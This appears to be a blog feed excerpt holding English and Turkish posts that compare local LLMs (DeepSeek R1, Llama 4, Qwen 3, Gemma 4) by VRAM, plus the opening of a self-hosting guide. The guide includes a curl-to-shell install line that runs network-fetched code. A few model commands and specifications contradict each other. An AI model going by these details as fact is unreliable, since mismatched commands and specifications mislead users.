<li><strong>mmlu:</strong> Tests general knowledge across 57 different subjects.</li> <li><strong>aime2024:</strong> Measures reasoning ability with math competition questions.</li> <li><strong>gpqadiamond:</strong> Poses academic-level science questions.</li> </ul> <hr/> <h2 id="to-wrap-up_1">To Wrap Up<a class="headerlink" href="#to-wrap-up" title="Permanent link">#</a></h2> <p>In the local AI world, there is no single "best" model. The most logical approach is to choose the right model based on your hardware and the task you will perform. Qwen for coding, DeepSeek for reasoning, Gemma for speed, and Llama 4 for wide memory are the right choices, my friend. 🚀</p> <p>Instead of trying to make a single model do everything when setting up your workflow, distributing tasks will both save you time and ensure that you use your hardware resources in the most efficient way.</p> <p>Stay safe!</p> <hr/> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Compiled from the official MATH-500 test data in the DeepSeek-R1 GitHub documentation.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>Taken from the BentoML 2026 open-source model comparison report.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> <li id="fn:3"> <p>Based on the HumanEval and MBPP benchmark data in the Qwen2.5-Coder technical report.&nbsp;<a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text">&larrhk;</a></p> </li> <li id="fn:4"> <p>Taken from Till Freitag's 2026 local model speed and inference tests.&nbsp;<a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 4 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-04T23:00:00+03:002026-06-04T23:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-04:/en-iyi-yerel-llm-modelleri-2026/

<p>2026 yılında yerel yapay zeka dünyasını domine eden modelleri (DeepSeek R1, Llama 4, Qwen 3, Gemma 4) farklı kullanım senaryolarına ve donanım gereksinimlerine göre inceliyoruz.</p>

<p>Ge&ccedil;en sabah &ccedil;al&inodot;&scedil;ma masamda kahvemi yudumlarken, diskimdeki yerel modelleri temizlemeye karar verdim. 💻 Ollama klas&ouml;r&uuml;ne girdi&gbreve;imde g&ouml;zlerime inanamad&inodot;m: Onlarca farkl&inodot; Llama, Qwen ve Gemma s&uuml;r&uuml;m&uuml; gigabaytlarca yer kaplam&inodot;&scedil;, diskimi doldurmu&scedil;tu. Kendi kendime, "Y&uuml;cel, bunlar&inodot;n hepsini neden tutuyorsun, hangisi ger&ccedil;ekten i&scedil;e yar&inodot;yor?" diye sordum. Sonra d&uuml;&scedil;&uuml;nd&uuml;m; benim gibi bir&ccedil;ok geli&scedil;tirici de yerel AI d&uuml;nyas&inodot;nda hangi modeli se&ccedil;ece&gbreve;i konusunda kafa kar&inodot;&scedil;&inodot;kl&inodot;&gbreve;&inodot; ya&scedil;&inodot;yor.</p> <p>E&gbreve;er siz de yerel yapay zekaya ge&ccedil;mek istiyor ama hangi modeli se&ccedil;ece&gbreve;inizi bilmiyorsan&inodot;z, ya da ekran kart&inodot;n&inodot;z&inodot;n belle&gbreve;inden (VRAM) maksimum verimi alacak modeli ar&inodot;yorsan&inodot;z do&gbreve;ru yerdesiniz dostum. 🚀 Gelin, yerel yapay zekan&inodot;n en iyilerini birlikte inceleyelim.</p> <hr/> <h2 id="genel-resim-2025ten-bu-yana-neler-degisti">Genel Resim: 2025'ten Bu Yana Neler De&gbreve;i&scedil;ti?<a class="headerlink" href="#genel-resim-2025ten-bu-yana-neler-degisti" title="Permanent link">#</a></h2> <p>Pratik i&scedil;lerin &ccedil;o&gbreve;unda bulut servisleri ile yerel modeller aras&inodot;ndaki u&ccedil;urum neredeyse kapand&inodot;. &Idot;yi ayarlanm&inodot;&scedil; yerel bir 32B (milyar parametreli) model, g&uuml;nl&uuml;k i&scedil;lerde GPT-4o ile yar&inodot;&scedil;&inodot;r hale geldi. Peki bu s&uuml;re&ccedil;te neler yeni?</p> <ul> <li><strong>DeepSeek R1</strong>, a&ccedil;&inodot;k kaynakl&inodot; ak&inodot;l y&uuml;r&uuml;tme (reasoning) modellerinin de en &uuml;st ligle a&scedil;&inodot;k atabilece&gbreve;ini kan&inodot;tlad&inodot; (MATH-500 testinde %97,3 ba&scedil;ar&inodot; gibi y&uuml;ksek oranlarla).</li> <li><strong>Llama 4</strong>, yerel d&uuml;nyada yerle&scedil;ik &ccedil;oklu mod (g&ouml;rsel/metin) deste&gbreve;ini ve 10 milyon tokenl&inodot;k devasa haf&inodot;za limitini standart hale getirdi.</li> <li><strong>Qwen 3</strong>, T&uuml;rk&ccedil;e deste&gbreve;i, kod yazma becerisi ve yeni ad&inodot;m ad&inodot;m d&uuml;&scedil;&uuml;nme moduyla taht&inodot;n&inodot; sa&gbreve;lamla&scedil;t&inodot;rd&inodot;.</li> <li><strong>Gemma 4</strong>, Google'&inodot;n t&uuml;ketici s&inodot;n&inodot;f&inodot; donan&inodot;mlarda y&uuml;ksek h&inodot;z sunan hafif ama son derece yetenekli modeli olarak &ouml;ne &ccedil;&inodot;kt&inodot;.</li> <li><strong>MoE (Mixture of Experts) Mimarisi</strong> art&inodot;k standart oldu. B&ouml;ylece 17 milyar aktif parametre ile 70 milyar parametrelik modellerin kalitesine ula&scedil;abiliyoruz.</li> </ul> <hr/> <h2 id="en-iyi-modellerin-karslastrmas">En &Idot;yi Modellerin Kar&scedil;&inodot;la&scedil;t&inodot;rmas&inodot; 📊<a class="headerlink" href="#en-iyi-modellerin-karslastrmas" title="Permanent link">#</a></h2> <h3 id="deepseek-r1-akl-yurutme-reasoning-zirvesi">DeepSeek R1 &mdash; Ak&inodot;l Y&uuml;r&uuml;tme (Reasoning) Zirvesi<a class="headerlink" href="#deepseek-r1-akl-yurutme-reasoning-zirvesi" title="Permanent link">#</a></h3> <p>DeepSeek R1, 2025'in ba&scedil;lar&inodot;nda yapay zeka d&uuml;nyas&inodot;nda deprem etkisi yaratt&inodot;. GPT-o1 seviyesindeki ak&inodot;l y&uuml;r&uuml;tme becerisini &ccedil;ok daha d&uuml;&scedil;&uuml;k e&gbreve;itim maliyetiyle sundu. En b&uuml;y&uuml;k art&inodot;s&inodot;: Modele bir soru sordu&gbreve;unuzda arkada nas&inodot;l d&uuml;&scedil;&uuml;nd&uuml;&gbreve;&uuml;n&uuml; (chain-of-thought) ad&inodot;m ad&inodot;m g&ouml;rebiliyorsunuz. Bu modeli yerel sisteminizde en verimli &scedil;ekilde nas&inodot;l &ccedil;al&inodot;&scedil;t&inodot;raca&gbreve;&inodot;n&inodot;z&inodot; &ouml;&gbreve;renmek i&ccedil;in <a href="/yerel-llm-kurulum-rehberi-2026/">Kendi Sunucunda Yapay Zeka (2026)</a> kurulum rehberimi takip edebilirsiniz.</p> <p>Dam&inodot;t&inodot;lm&inodot;&scedil; (distilled) s&uuml;r&uuml;mleri sayesinde bu g&uuml;c&uuml; evimizdeki bilgisayarlarda da &ccedil;al&inodot;&scedil;t&inodot;rabiliyoruz:</p> <table> <thead> <tr> <th style="text-align: left;">Model Boyutu</th> <th style="text-align: left;">Gereken VRAM</th> <th style="text-align: left;">&Idot;deal Kullan&inodot;m Yeri</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>7B</strong></td> <td style="text-align: left;">6 GB</td> <td style="text-align: left;">Diz&uuml;st&uuml; bilgisayarlarda h&inodot;zl&inodot; ak&inodot;l y&uuml;r&uuml;tme</td> </tr> <tr> <td style="text-align: left;"><strong>14B</strong></td> <td style="text-align: left;">9 GB</td> <td style="text-align: left;">Orta seviye sistemler i&ccedil;in fiyat/performans zirvesi<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></td> </tr> <tr> <td style="text-align: left;"><strong>32B</strong></td> <td style="text-align: left;">20 GB</td> <td style="text-align: left;">Karma&scedil;&inodot;k matematik ve mant&inodot;k problemleri</td> </tr> </tbody> </table> <p>G&ouml;rselle&scedil;tirilmi&scedil; d&uuml;&scedil;&uuml;nme a&scedil;amalar&inodot; &ouml;zellikle hata ay&inodot;klarken veya matematiksel mant&inodot;k kurarken inan&inodot;lmaz derecede i&scedil;e yar&inodot;yor. Ayr&inodot;ca MIT lisans&inodot;yla da&gbreve;&inodot;t&inodot;lmas&inodot;, ticari projelerde tamamen &ouml;zg&uuml;rce kullanabilece&gbreve;imiz anlam&inodot;na geliyor.</p> <p><strong>Ollama Komutu:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>deepseek-r1:14b </code></pre></div> <h3 id="llama-4-coklu-mod-ve-devasa-hafza-context">Llama 4 &mdash; &Ccedil;oklu Mod ve Devasa Haf&inodot;za (Context)<a class="headerlink" href="#llama-4-coklu-mod-ve-devasa-hafza-context" title="Permanent link">#</a></h3> <p>Meta'n&inodot;n Llama 4 serisi yerel kullan&inodot;m i&ccedil;in iki ana se&ccedil;enekle geliyor:</p> <ul> <li><strong>Llama 4 Scout:</strong> Toplam 109B, aktif 17B parametreli. 10 milyon token haf&inodot;za limitine sahip ve 24GB VRAM ile &ccedil;al&inodot;&scedil;abiliyor.</li> <li><strong>Llama 4 Maverick:</strong> Toplam 400B, aktif 17B parametreli. En y&uuml;ksek kaliteyi sunuyor ama &ccedil;ift GPU istiyor.<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></li> </ul> <p>Llama 4, yerelde hem g&ouml;rselleri/grafikleri okuyabilen hem de kitaplar dolusu d&ouml;k&uuml;man&inodot; haf&inodot;zas&inodot;nda tutabilen en ba&scedil;ar&inodot;l&inodot; model.</p> <p>Tek s&inodot;k&inodot;nt&inodot; donan&inodot;m gereksinimi. Scout s&uuml;r&uuml;m&uuml; tek bir RTX 4090 ile &ccedil;al&inodot;&scedil;abilirken, Maverick i&ccedil;in &ccedil;ift ekran kart&inodot; veya g&uuml;&ccedil;l&uuml; bir Mac Studio Ultra gerekiyor.</p> <p><strong>Ollama Komutu:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>llama4:scout </code></pre></div> <h3 id="qwen-3-genel-kullanm-ve-kodlama-kral">Qwen 3 &mdash; Genel Kullan&inodot;m ve Kodlama Kral&inodot;<a class="headerlink" href="#qwen-3-genel-kullanm-ve-kodlama-kral" title="Permanent link">#</a></h3> <p>Alibaba'n&inodot;n Qwen serisi, ekran kart&inodot; belle&gbreve;i ba&scedil;&inodot;na d&uuml;&scedil;en zeka oran&inodot;nda (quality-per-VRAM) sekt&ouml;r&uuml;n lideri. Qwen 3, <code>/think</code> se&ccedil;ene&gbreve;iyle yerle&scedil;ik bir d&uuml;&scedil;&uuml;nme modunu da beraberinde getiriyor.</p> <table> <thead> <tr> <th style="text-align: left;">Model Boyutu</th> <th style="text-align: left;">Gereken VRAM</th> <th style="text-align: left;">&Idot;deal Kullan&inodot;m Yeri</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>7B</strong></td> <td style="text-align: left;">5 GB</td> <td style="text-align: left;">D&uuml;&scedil;&uuml;k b&uuml;t&ccedil;eli kod yazma i&scedil;leri</td> </tr> <tr> <td style="text-align: left;"><strong>14B</strong></td> <td style="text-align: left;">9 GB</td> <td style="text-align: left;">G&uuml;nl&uuml;k genel kullan&inodot;m</td> </tr> <tr> <td style="text-align: left;"><strong>32B</strong></td> <td style="text-align: left;">20 GB</td> <td style="text-align: left;">Profesyonel kod yazma asistan&inodot;<sup id="fnref:3"><a class="footnote-ref" href="#fn:3">3</a></sup></td> </tr> <tr> <td style="text-align: left;"><strong>72B</strong></td> <td style="text-align: left;">44 GB</td> <td style="text-align: left;">Sunucu ve kurumsal &ccedil;&ouml;z&uuml;mler</td> </tr> </tbody> </table> <p>Kod yazma becerisi ger&ccedil;ekten harika. Qwen 2.5 Coder 32B s&uuml;r&uuml;m&uuml;, kendisinden &uuml;&ccedil; kat b&uuml;y&uuml;k modellerden daha temiz ve &ccedil;al&inodot;&scedil;&inodot;r kod &uuml;retiyor. Ayr&inodot;ca T&uuml;rk&ccedil;e dil hakimiyeti olduk&ccedil;a y&uuml;ksek.</p> <p><strong>Ollama Komutu:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>qwen3:32b </code></pre></div> <h3 id="gemma-4-hz-ve-verimlilik-sampiyonu">Gemma 4 &mdash; H&inodot;z ve Verimlilik &Scedil;ampiyonu<a class="headerlink" href="#gemma-4-hz-ve-verimlilik-sampiyonu" title="Permanent link">#</a></h3> <p>Google'&inodot;n Gemma 4 modeli tam bir h&inodot;z canavar&inodot;. 27B parametreli MoE modeli, t&uuml;ketici s&inodot;n&inodot;f&inodot; ekran kartlar&inodot;nda saniyede 85 kelime (token) &uuml;retebiliyor.<sup id="fnref:4"><a class="footnote-ref" href="#fn:4">4</a></sup> Bu h&inodot;zda bu kaliteyi sunan ba&scedil;ka bir alternatif yok.</p> <table> <thead> <tr> <th style="text-align: left;">Model Boyutu</th> <th style="text-align: left;">Gereken VRAM</th> <th style="text-align: left;">&Idot;deal Kullan&inodot;m Yeri</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>1B</strong></td> <td style="text-align: left;">2 GB</td> <td style="text-align: left;">K&uuml;&ccedil;&uuml;k ak&inodot;ll&inodot; cihazlar</td> </tr> <tr> <td style="text-align: left;"><strong>4B</strong></td> <td style="text-align: left;">4 GB</td> <td style="text-align: left;">Ultra h&inodot;zl&inodot; yan&inodot;tlar</td> </tr> <tr> <td style="text-align: left;"><strong>27B</strong></td> <td style="text-align: left;">14 GB</td> <td style="text-align: left;">H&inodot;z ve kalitenin bulu&scedil;tu&gbreve;u nokta</td> </tr> </tbody> </table> <p>E&gbreve;er yapay zekan&inodot;n size an&inodot;nda cevap vermesi en b&uuml;y&uuml;k &ouml;nceli&gbreve;inizse Gemma 4 sizin i&ccedil;in en mant&inodot;kl&inodot; se&ccedil;enek olacakt&inodot;r.</p> <p><strong>Ollama Komutu:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>gemma3:27b </code></pre></div> <hr/> <h2 id="karar-verme-semas_1">Karar Verme &Scedil;emas&inodot; ⚙️<a class="headerlink" href="#karar-verme-semas" title="Permanent link">#</a></h2> <p>Farkl&inodot; g&ouml;revler i&ccedil;in tek bir model kullanmaya &ccedil;al&inodot;&scedil;mak, elindeki tek &Idot;svi&ccedil;re &ccedil;ak&inodot;s&inodot;yla evdeki t&uuml;m mobilyalar&inodot; monte etmeye &ccedil;al&inodot;&scedil;mak gibidir. Hangi i&scedil; i&ccedil;in hangi modele y&ouml;nelece&gbreve;inizi g&ouml;steren karar &scedil;emas&inodot;:</p> <table> <thead> <tr> <th style="text-align: left;">&Idot;htiyac&inodot;n&inodot;z</th> <th style="text-align: left;">En &Idot;yi Model</th> <th style="text-align: left;">&Ouml;ne &Ccedil;&inodot;kan Nedeni</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>Kod Yazma</strong></td> <td style="text-align: left;">Qwen 2.5 Coder 32B</td> <td style="text-align: left;">%92,7 HumanEval ba&scedil;ar&inodot;s&inodot;, temiz kod &uuml;retimi</td> </tr> <tr> <td style="text-align: left;"><strong>Matematik &amp; Ak&inodot;l Y&uuml;r&uuml;tme</strong></td> <td style="text-align: left;">DeepSeek R1</td> <td style="text-align: left;">Ad&inodot;m ad&inodot;m d&uuml;&scedil;&uuml;nme a&scedil;amalar&inodot;n&inodot; g&ouml;sterebilmesi</td> </tr> <tr> <td style="text-align: left;"><strong>G&ouml;rsel &amp; Grafik Okuma</strong></td> <td style="text-align: left;">Llama 4 Maverick</td> <td style="text-align: left;">Yerle&scedil;ik g&ouml;rsel (multimodal) deste&gbreve;i</td> </tr> <tr> <td style="text-align: left;"><strong>Uzun D&ouml;k&uuml;man Analizi</strong></td> <td style="text-align: left;">Llama 4 Scout</td> <td style="text-align: left;">10 milyon tokenl&inodot;k devasa haf&inodot;za</td> </tr> <tr> <td style="text-align: left;"><strong>Y&uuml;ksek H&inodot;z</strong></td> <td style="text-align: left;">Gemma 4 27B</td> <td style="text-align: left;">Saniyede 85 token &uuml;retim kapasitesi</td> </tr> <tr> <td style="text-align: left;"><strong>Genel Sohbet</strong></td> <td style="text-align: left;">Qwen 3 32B</td> <td style="text-align: left;">VRAM/Zeka oran&inodot;ndaki kararl&inodot;l&inodot;&gbreve;&inodot;</td> </tr> <tr> <td style="text-align: left;"><strong>D&uuml;&scedil;&uuml;k Donan&inodot;m (8GB VRAM)</strong></td> <td style="text-align: left;">Llama 3.1 8B</td> <td style="text-align: left;">5 GB VRAM ile y&uuml;ksek verim</td> </tr> <tr> <td style="text-align: left;"><strong>Kurumsal Kullan&inodot;m</strong></td> <td style="text-align: left;">Qwen 3 72B</td> <td style="text-align: left;">G&uuml;&ccedil;l&uuml; altyap&inodot;s&inodot; ve a&ccedil;&inodot;k lisans&inodot;</td> </tr> </tbody> </table> <hr/> <h2 id="gpu-ve-donanm-eslestirmesi">GPU ve Donan&inodot;m E&scedil;le&scedil;tirmesi 🛠️<a class="headerlink" href="#gpu-ve-donanm-eslestirmesi" title="Permanent link">#</a></h2> <p>Ekran kartlar&inodot;n&inodot;n bellek bant geni&scedil;li&gbreve;i ve T&uuml;rkiye fiyatland&inodot;rma detaylar&inodot; i&ccedil;in <a href="/yerel-llmler-icin-en-iyi-gpu-2026/">Yerel LLM'ler &Idot;&ccedil;in En &Idot;yi Ekran Kartlar&inodot; (2026)</a> yaz&inodot;ma g&ouml;z atabilirsiniz. Elindeki karta g&ouml;re hangi modelleri se&ccedil;ebilirsin:</p> <table> <thead> <tr> <th style="text-align: left;">Ekran Kart&inodot;n&inodot;z</th> <th style="text-align: left;">&Ccedil;al&inodot;&scedil;t&inodot;rabilece&gbreve;iniz En Mant&inodot;kl&inodot; Modeller</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>4 - 6 GB</strong> (GTX 1650 / 1060)</td> <td style="text-align: left;">Gemma 3 1B, Llama 3.2 3B</td> </tr> <tr> <td style="text-align: left;"><strong>8 GB</strong> (RTX 3060 / 4060)</td> <td style="text-align: left;">Llama 3.1 8B, Qwen 2.5 7B, DeepSeek R1 7B</td> </tr> <tr> <td style="text-align: left;"><strong>12 GB</strong> (RTX 4070)</td> <td style="text-align: left;">Qwen 3 14B, DeepSeek R1 14B</td> </tr> <tr> <td style="text-align: left;"><strong>16 GB</strong> (RTX 4080)</td> <td style="text-align: left;">Qwen 2.5 14B, DeepSeek R1 14B, Gemma 3 27B</td> </tr> <tr> <td style="text-align: left;"><strong>24 GB</strong> (RTX 4090)</td> <td style="text-align: left;">Qwen 3 32B, DeepSeek R1 32B, Llama 4 Scout</td> </tr> <tr> <td style="text-align: left;"><strong>48 GB+</strong> (RTX 6000 / &Ccedil;ift GPU)</td> <td style="text-align: left;">Qwen 3 72B, Llama 4 Maverick, DeepSeek R1 70B</td> </tr> </tbody> </table> <hr/> <h2 id="benim-gunluk-duzenim">Benim G&uuml;nl&uuml;k D&uuml;zenim 💡<a class="headerlink" href="#benim-gunluk-duzenim" title="Permanent link">#</a></h2> <p>Merak edenler i&ccedil;in, kendi i&scedil; ak&inodot;&scedil;&inodot;mda hangi modelleri nerede kulland&inodot;&gbreve;&inodot;m&inodot; da payla&scedil;ay&inodot;m. E&gbreve;er yerel modellerinizi VS Code gibi edit&ouml;rlere ba&gbreve;lay&inodot;p g&uuml;nl&uuml;k kodlama s&uuml;recinizi otomatikle&scedil;tirmek isterseniz <a href="/yerel-ai-kurulum-rehberi-lm-studio-vs-code/">Yerel AI Kurulum Rehberi (LM Studio &amp; VS Code)</a> k&inodot;lavuzumdan faydalanabilirsiniz.</p> <ul> <li><strong>Sabah Kod &Idot;ncelemesi:</strong> Qwen 3 32B. Kod taban&inodot;n&inodot; analiz ederken olduk&ccedil;a ba&scedil;ar&inodot;l&inodot;.</li> <li><strong>Makale ve D&ouml;k&uuml;man &Idot;nceleme:</strong> Llama 4 Scout. Uzun PDF dosyalar&inodot;n&inodot; haf&inodot;zas&inodot;na tek seferde alabiliyor.</li> <li><strong>Karma&scedil;&inodot;k Algoritma &Ccedil;&ouml;z&uuml;mleri:</strong> DeepSeek R1 14B. D&uuml;&scedil;&uuml;nme ad&inodot;mlar&inodot;n&inodot; izlemek mant&inodot;k hatalar&inodot;n&inodot; g&ouml;rmemi sa&gbreve;l&inodot;yor.</li> <li><strong>H&inodot;zl&inodot; G&uuml;nl&uuml;k Sorular:</strong> Gemma 3 12B. Saniyede verdi&gbreve;i kelime h&inodot;z&inodot; muazzam.</li> <li><strong>Ajan Otomasyonlar&inodot;:</strong> <code>/think</code> modu a&ccedil;&inodot;k &scedil;ekilde Qwen 3.</li> </ul> <hr/> <h2 id="kendi-modelini-test-et-performans-testleri">Kendi Modelini Test Et (Performans Testleri) ⚙️<a class="headerlink" href="#kendi-modelini-test-et-performans-testleri" title="Permanent link">#</a></h2> <p>Yay&inodot;nlanan resmi rakamlara g&uuml;venmek zorunda de&gbreve;ilsiniz. Kendi donan&inodot;m&inodot;n&inodot;zda testlerinizi yapabilirsiniz.</p> <h3 id="hzl-ckarm-hz-testi">H&inodot;zl&inodot; &Ccedil;&inodot;kar&inodot;m H&inodot;z&inodot; Testi<a class="headerlink" href="#hzl-ckarm-hz-testi" title="Permanent link">#</a></h3> <p>Ollama CLI ile basit bir s&uuml;re &ouml;l&ccedil;&uuml;m&uuml; yap&inodot;n:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span><span class="nb">time</span><span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>qwen2.5-coder:32b<span class="w"> </span><span class="s2">"Bir ba&gbreve;l&inodot; listeyi tersine &ccedil;eviren Python kodunu yazar m&inodot;s&inodot;n?"</span> </code></pre></div> <h3 id="lm-studio-arayuzuyle-kyaslama">LM Studio Aray&uuml;z&uuml;yle K&inodot;yaslama<a class="headerlink" href="#lm-studio-arayuzuyle-kyaslama" title="Permanent link">#</a></h3> <p>LM Studio i&ccedil;inde yerle&scedil;ik test aray&uuml;z&uuml; bar&inodot;nd&inodot;r&inodot;r. 1. <strong>Benchmarks</strong> sekmesine gidin. 2. <strong>Add Benchmark</strong> se&ccedil;ene&gbreve;ine t&inodot;klay&inodot;n. 3. <code>HumanEval</code>, <code>MMLU</code> veya <code>LiveCodeBench</code> testlerinden birini se&ccedil;in. 4. Modelinizi se&ccedil;ip testi ba&scedil;lat&inodot;n.</p> <h3 id="komut-satrndan-detayl-performans-testi-lm-evaluation-harness">Komut Sat&inodot;r&inodot;ndan Detayl&inodot; Performans Testi (lm-evaluation-harness)<a class="headerlink" href="#komut-satrndan-detayl-performans-testi-lm-evaluation-harness" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code><span class="c1"># Test arac&inodot;n&inodot; indirin ve kurun</span> $<span class="w"> </span>git<span class="w"> </span>clone<span class="w"> </span>https://github.com/EleutherAI/lm-evaluation-harness $<span class="w"> </span><span class="nb">cd</span><span class="w"> </span>lm-evaluation-harness $<span class="w"> </span>pip<span class="w"> </span>install<span class="w"> </span>-e<span class="w"> </span>. <span class="c1"># Kodlama testini yerel API &uuml;zerinden ko&scedil;turun</span> $<span class="w"> </span>lm_eval<span class="w"> </span>--model<span class="w"> </span>localchat<span class="w"> </span>--model_args<span class="w"> </span><span class="s2">"temperature=0"</span><span class="w"> </span>--tasks<span class="w"> </span>humaneval<span class="w"> </span>--batch_size<span class="w"> </span><span class="m">1</span> </code></pre></div> <ul> <li><strong>humaneval:</strong> Python kod &uuml;retme yetene&gbreve;ini &ouml;l&ccedil;er (164 farkl&inodot; algoritma problemi).</li> <li><strong>mmlu:</strong> 57 farkl&inodot; konuda genel bilgi birikimini test eder.</li> <li><strong>aime2024:</strong> Matematik yar&inodot;&scedil;mas&inodot; sorular&inodot;yla ak&inodot;l y&uuml;r&uuml;tme becerisini &ouml;l&ccedil;er.</li> <li><strong>gpqadiamond:</strong> Akademik seviyedeki bilim sorular&inodot;n&inodot; y&ouml;neltir.</li> </ul> <hr/> <h2 id="sadede-gelirsek_1">Sadede Gelirsek<a class="headerlink" href="#sadede-gelirsek" title="Permanent link">#</a></h2> <p>Yerel yapay zeka d&uuml;nyas&inodot;nda tek bir "en iyi" model yoktur. En mant&inodot;kl&inodot; yakla&scedil;&inodot;m, elinizdeki donan&inodot;ma ve yapaca&gbreve;&inodot;n&inodot;z i&scedil;e g&ouml;re do&gbreve;ru modeli se&ccedil;mektir. Kodlama i&ccedil;in Qwen, ak&inodot;l y&uuml;r&uuml;tme i&ccedil;in DeepSeek, h&inodot;z i&ccedil;in Gemma ve geni&scedil; haf&inodot;za i&ccedil;in Llama 4 do&gbreve;ru tercihlerdir dostum. 🚀</p> <p>Kendi i&scedil; ak&inodot;&scedil;&inodot;n&inodot;z&inodot; kurarken tek bir modele her &scedil;eyi yapt&inodot;rmaya &ccedil;al&inodot;&scedil;mak yerine, g&ouml;rev payla&scedil;&inodot;m&inodot; yapmak size hem h&inodot;z kazand&inodot;racak hem de donan&inodot;m kaynaklar&inodot;n&inodot;z&inodot; en verimli &scedil;ekilde kullanman&inodot;z&inodot; sa&gbreve;layacakt&inodot;r.</p> <p>Hadi kal&inodot;n sa&gbreve;l&inodot;cakla!</p> <hr/> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>DeepSeek-R1 GitHub d&ouml;k&uuml;manlar&inodot;ndaki resmi MATH-500 test verilerinden derlenmi&scedil;tir.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>BentoML 2026 y&inodot;l&inodot; a&ccedil;&inodot;k kaynak model kar&scedil;&inodot;la&scedil;t&inodot;rma raporundan al&inodot;nm&inodot;&scedil;t&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> <li id="fn:3"> <p>Qwen2.5-Coder teknik raporundaki HumanEval ve MBPP k&inodot;yaslama verilerine dayanmaktad&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text">&larrhk;</a></p> </li> <li id="fn:4"> <p>Till Freitag 2026 yerel model h&inodot;z ve &ccedil;&inodot;kar&inodot;m testlerinden al&inodot;nm&inodot;&scedil;t&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 4 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-04T22:45:00+03:002026-06-04T22:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-04:/en/yerel-llm-kurulum-rehberi-2026/

<p>We analyze the ways of running AI models on your own system in 2026, hardware requirements, and the most efficient software tools (Ollama, llama.cpp, vLLM).</p>

<p>Last night, after putting the kids to sleep, I took a sip from my tea on the desk and started tweaking my local AI setups. 💻 The privacy of data sent to cloud services and monthly rising API bills had been bothering me for a while. I asked myself, "Why don't we handle all this assistant work on our own local server?"</p> <p>This guide is for developers who want to keep their data local, care about privacy, want to avoid API costs, or just love pushing the limits of their own hardware. By the end of this post, you'll see what the local AI landscape looks like in 2026, how to use popular tools like Ollama, llama.cpp, and vLLM, and get a clear picture of hardware requirements, my friend. 🚀</p> <hr/> <h2 id="why-run-your-own-server-in-2026">Why Run Your Own Server in 2026? 💰<a class="headerlink" href="#why-run-your-own-server-in-2026" title="Permanent link">#</a></h2> <p>The balance in the local AI world has shifted completely. Monthly API bills for cloud services (like GPT-4 and Claude) can easily exceed $500 (around 23,000 TL) under active use.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> While the upfront hardware investment seems high, the system pays for itself very quickly. Choosing the right graphics card for your budget is crucial; you can check out my post <a href="/en/yerel-llmler-icin-en-iyi-gpu-2026/">Best GPUs for Local LLMs in 2026</a> for a detailed breakdown of graphics cards and budget levels.</p> <p>More importantly, privacy is no longer a luxury&mdash;it's a requirement. Who wants their code, company documents, or private conversations to be used by big tech to train their models?</p> <p>Models have also improved. Thanks to quantization (compression) techniques, a local 13B (billion parameter) model easily beats the old GPT-3.5 in most daily developer workflows. Often, you don't need the largest model in the world&mdash;you need the right model that gets the job done smoothly.</p> <hr/> <h2 id="the-three-big-tools-of-local-ai">The Three Big Tools of Local AI ⚙️<a class="headerlink" href="#the-three-big-tools-of-local-ai" title="Permanent link">#</a></h2> <h3 id="1-ollama-for-those-who-want-simplicity-one-command-setup">1. Ollama &mdash; For Those Who Want Simplicity (One-Command Setup)<a class="headerlink" href="#1-ollama-for-those-who-want-simplicity-one-command-setup" title="Permanent link">#</a></h3> <p><a href="https://ollama.com/" rel="noopener noreferrer" target="_blank">Ollama</a> has completely changed the local scene. One line to install, one line to run. It handles downloading the model, putting it into the GPU VRAM, and serving it as a local API all by itself.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Setup (Linux and macOS)</span> $<span class="w"> </span>curl<span class="w"> </span>-fsSL<span class="w"> </span>https://ollama.com/install.sh<span class="w"> </span><span class="p">|</span><span class="w"> </span>sh <span class="c1"># Run a model</span> $<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>llama3.2 <span class="c1"># List installed models</span> $<span class="w"> </span>ollama<span class="w"> </span>list </code></pre></div> <p>Ollama automatically detects and utilizes GPU acceleration on Windows, macOS, and Linux. Its library has hundreds of ready-to-run models.</p> <ul> <li><strong>Best For:</strong> Those who want to get up and running quickly and start coding immediately without dealing with complex configurations.</li> </ul> <h3 id="2-llamacpp-maximum-performance-and-fine-control">2. llama.cpp &mdash; Maximum Performance and Fine Control<a class="headerlink" href="#2-llamacpp-maximum-performance-and-fine-control" title="Permanent link">#</a></h3> <p><a 